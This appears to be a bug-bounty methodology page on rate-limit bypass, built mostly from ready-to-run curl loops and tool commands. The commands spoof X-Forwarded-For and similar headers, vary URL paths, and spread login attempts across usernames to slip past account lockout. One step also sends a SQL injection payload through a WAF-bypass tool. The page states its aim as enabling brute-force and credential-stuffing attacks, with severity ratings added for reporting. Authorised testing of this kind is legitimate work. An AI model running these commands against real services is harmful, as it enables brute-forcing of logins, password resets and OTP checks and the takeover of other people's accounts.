Rate Limit Bypass

Objective

Bypass rate limiting mechanisms to enable brute-force attacks, credential stuffing, or abuse of rate-limited functionality.

Testing Methodology

Phase 1: Automated Bypass Testing

# Full bypass test suite (5 techniques)
attack_script rate_limit_bypass "https://TARGET/api/login" \
  --method POST \
  -H "Content-Type:application/json" \
  -d '{"email":"test@test.com","password":"test"}' \
  --count 20 \
  --json-output

Tests automatically:

1. X-Forwarded-For IP rotation
2. URL case variation
3. HTTP method switching
4. Random query parameter injection
5. Header-based bypasses

Phase 2: X-Forwarded-For Rotation

# Rotate source IP via headers
for i in $(seq 1 50); do
  IP="$((RANDOM%254+1)).$((RANDOM%254+1)).$((RANDOM%254+1)).$((RANDOM%254+1))"
  curl -s -o /dev/null -w "%{http_code} " \
    -X POST https://TARGET/api/login \
    -H "X-Forwarded-For: $IP" \
    -H "X-Real-IP: $IP" \
    -H "X-Client-IP: $IP" \
    -d '{"email":"test@test.com","password":"guess"}'
done

Phase 3: URL Manipulation

# Path case variation
curl https://TARGET/API/LOGIN
curl https://TARGET/Api/Login

# Trailing slash/dot
curl https://TARGET/api/login/
curl https://TARGET/api/login/.

# Double slash
curl https://TARGET//api//login

# Random query params (new cache key)
curl "https://TARGET/api/login?_=$(date +%s)"

Phase 4: Header Bypasses

curl -X POST https://TARGET/api/login \
  -H "X-Forwarded-For: 127.0.0.1"

curl -X POST https://TARGET/api/login \
  -H "X-Forwarded-Host: localhost"

curl -X POST https://TARGET/api/login \
  -H "X-Original-URL: /api/login"

curl -X POST https://TARGET/api/login \
  -H "X-Custom-IP-Authorization: 127.0.0.1"

Phase 5: Account Lockout Bypass

# Distribute across usernames
for user in user1 user2 user3; do
  curl -X POST https://TARGET/api/login \
    -d "{\"email\":\"$user@test.com\",\"password\":\"common_password\"}"
done

# IP rotation + distributed usernames = bypass

Phase 6: WAF Bypass + Rate Limit

# Encode payloads to avoid WAF detection
attack_script waf_bypass "admin' OR 1=1--" --test-url "https://TARGET/api/login" --param password

What Constitutes a Finding

Finding	Severity
Rate limit bypass on login/auth endpoint	High (P2)
Rate limit bypass on password reset	High (P2)
Rate limit bypass on OTP/2FA verification	Critical (P1)
Rate limit bypass on financial operations	Critical (P1)
Rate limit bypass on non-sensitive endpoint	Low (P4)

Evidence Requirements

• Endpoint tested
• Normal rate limit behavior (429 after N requests)
• Bypass technique used
• Successful requests beyond the limit
• Count of requests that bypassed the limit

Tools

• attack_script rate_limit_bypass — automated 5-technique bypass testing
• attack_script waf_bypass — encoding variants for WAF bypass

HowToHunt Advanced Supplement

Source: KathanP19/HowToHunt — Rate_limit (238 lines, 5 endpoint-specific bypasses). Licensed GPL-3.0.

Endpoint-specific rate limit tests from HowToHunt:

# Test these endpoints specifically (often missed):
# - forget-password, verify-email, verify-phone, invite-user, promo
for endpoint in /forget-password /verify-email /verify-phone /invite /promo; do
  for i in {1..20}; do curl -X POST https://target.com$endpoint -d "email=test@test.com" &
  done | grep -c "200"
done

# Bypass via header rotation (HowToHunt RateLimitBypass.md)
for ip in 127.0.0.1 127.0.0.2 10.0.0.1; do
  curl -H "X-Forwarded-For: $ip" -X POST https://target.com/login -d "email=test@test.com"
done

HowToHunt reports no rate limit on forget-password (P3) and invite-user (P4) as most common — test all 5 endpoints even if login is protected.

References

• OWASP: Rate Limiting
• HackerOne: Rate Limit Bypass